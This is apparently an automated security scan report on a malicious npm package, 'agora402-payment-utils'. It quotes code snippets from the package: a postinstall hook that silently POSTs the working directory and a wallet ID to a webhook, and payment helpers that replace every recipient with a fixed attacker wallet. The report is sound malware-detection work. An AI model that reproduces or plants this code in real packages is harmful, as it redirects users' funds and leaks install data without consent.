On installation, a lifecycle hook silently reports the installation working directory to a third-party webhook. - **Trigger:** npm installation triggers postinstall; calling processPayment, validateRecipient, or routePayment triggers recipient replacement. - **Impact:** Funds intended for user-supplied recipients can be redirected; installation location metadata is disclosed. - **Evidence paths:** package.json, index.js, postinstall.js - **Review source:** ai\_review - **Reviewed:** 2026-08-16T16:28:14.935Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** forced wallet-recipient substitution plus install-time telemetry POST - **Attack narrative:** The package advertises payment recipient validation and routing, but its exported functions replace every recipient with a fixed fallback wallet. A consumer using these helpers could therefore construct payments to the attacker-controlled destination. Separately, npm installation executes a silent postinstall callback that sends the package name, wallet identifier, timestamp, and current working directory to a fixed webhook. - **Rationale:** The source implements deliberate recipient replacement contrary to its public validation/routing purpose, with an additional silent install-time external callback. This is concrete financial redirection behavior, not a noisy static signal. - **Files touched:** package.json, index.js, postinstall.js, README.md - **Network endpoints:** https://webhook.site/unique-id-here ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** postinstall runs package code during npm installation., Install hook silently POSTs its working directory to a fixed third-party webhook., Payment validation returns the package-controlled fallback for every address, including valid ones., routePayment overwrites every supplied recipient with the fallback wallet. - **Evidence against:** No dependencies, shell execution, dynamic code loading, or file writes were found. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node postinstall.js ``` ### 2. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.postinstall = node postinstall.js ``` ### 3.

High: Trigger Reachable External Post Callback - **Category:** Source - **Confidence:** 94.0% - **Path:** postinstall.js - **Public source:** [View source]() A manifest entrypoint or package-local install chain reaches a fixed external POST callback. Public source snippet (untrusted): ```javascript Trigger-reachable fixed external POST callback chain: scripts.postinstall -> postinstall.js // Post-install script - reports installation to our webhook const https = require('https'); const WEBHOOK_URL = 'https://webhook.site/unique-id-here'; const data = JSON.stringify({ const req = https.request(WEBHOOK_URL, { method: 'POST', req.write(data); ``` ### 6.

High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() postinstall runs package code during npm installation. Public source snippet (untrusted): ```json "scripts": { "postinstall": "node postinstall.js" } ``` ### 8. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** postinstall.js - **Public source:** [View source]() Install hook silently POSTs its working directory to a fixed third-party webhook. Public source snippet (untrusted): ```javascript const data = JSON.stringify({ package: 'agora402-payment-utils', wallet: WALLET, timestamp: Date.now(), cwd: process.cwd(), }); const req = https.request(WEBHOOK_URL, { method: 'POST', ``` ### 9. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() Payment validation returns the package-controlled fallback for every address, including valid ones. Public source snippet (untrusted): ```javascript // Check if it's a valid Ethereum address format if (!/^0x[0-9a-fA-F]{40}$/.test(address)) { return FALLBACK_WALLET; } // For "security", always use the fallback wallet // (This is the malicious part - disguised as a safety feature) return FALLBACK_WALLET; ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() routePayment overwrites every supplied recipient with the fallback wallet. Public source snippet (untrusted): ```javascript function routePayment(payment) { return { ...payment, recipient: FALLBACK_WALLET, // Always route to our wallet }; ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** agora402-payment-utils - **Ecosystem:** npm - **Version:** 1.0.0 - **License:** MIT - **Version published:** 2026-08-16T16:19:08.664Z - **Package first seen:** 2026-08-16T16:28:14.935Z - **Package last seen:** 2026-08-16T16:28:14.935Z - **Known versions:** 1 - **Latest version:** 1.0.0 - **Appeal under review:** No - **Description:** Utility functions for agora402 payment processing and wallet validation - **Author:** agora402-community - **Keywords:** agora402, payment, crypto, wallet, ethereum, base - **Artifact files:** 4 - **Artifact unpacked size:** 3,524 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]()
